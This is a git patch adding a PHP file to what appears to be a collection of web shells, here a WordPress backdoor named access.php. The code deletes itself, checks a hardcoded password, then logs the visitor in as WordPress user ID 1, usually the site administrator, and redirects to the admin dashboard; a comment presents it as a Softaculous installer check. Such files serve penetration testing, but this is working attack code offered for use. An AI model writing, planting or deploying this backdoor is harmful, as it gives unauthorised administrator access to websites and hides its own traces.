From cc257c5b5fff32e8369a9d1d99d2373d373b200d Mon Sep 17 00:00:00 2001
From: g0tmi1k <have.you.g0tmi1k@gmail.com>
Date: Wed, 20 Dec 2017 16:33:29 +0000
Subject: [PATCH] Add Wordpress Web-Shell

Source/Credit: https://gist.github.com/bi0xid/60803a9cca862888b15d94bf46774fb3
---
 Web-Shells/WordPress/access.php | 26 ++++++++++++++++++++++++++
 1 file changed, 26 insertions(+)
 create mode 100644 Web-Shells/WordPress/access.php

diff --git a/Web-Shells/WordPress/access.php b/Web-Shells/WordPress/access.php
new file mode 100644
index 00000000..c08634e0
--- /dev/null
+++ b/Web-Shells/WordPress/access.php
@@ -0,0 +1,26 @@
+<?php
+@unlink(__FILE__);
+
+// Validate if the request is from Softaculous
+if($_REQUEST['pass'] != 'mv8gdj4ohqfxpu34yj5ursupfabcmvdm'){ // your password here
+	die("Unauthorized Access");
+}
+
+require('wp-blog-header.php');
+require('wp-includes/pluggable.php');
+$user_info = get_userdata(1);
+// Automatic login //
+$username = $user_info->user_login;
+$user = get_user_by('login', $username );
+// Redirect URL //
+if ( !is_wp_error( $user ) )
+{
+    wp_clear_auth_cookie();
+    wp_set_current_user ( $user->ID );
+    wp_set_auth_cookie  ( $user->ID );
+
+    $redirect_to = user_admin_url();
+    wp_safe_redirect( $redirect_to );
+
+    exit();
+}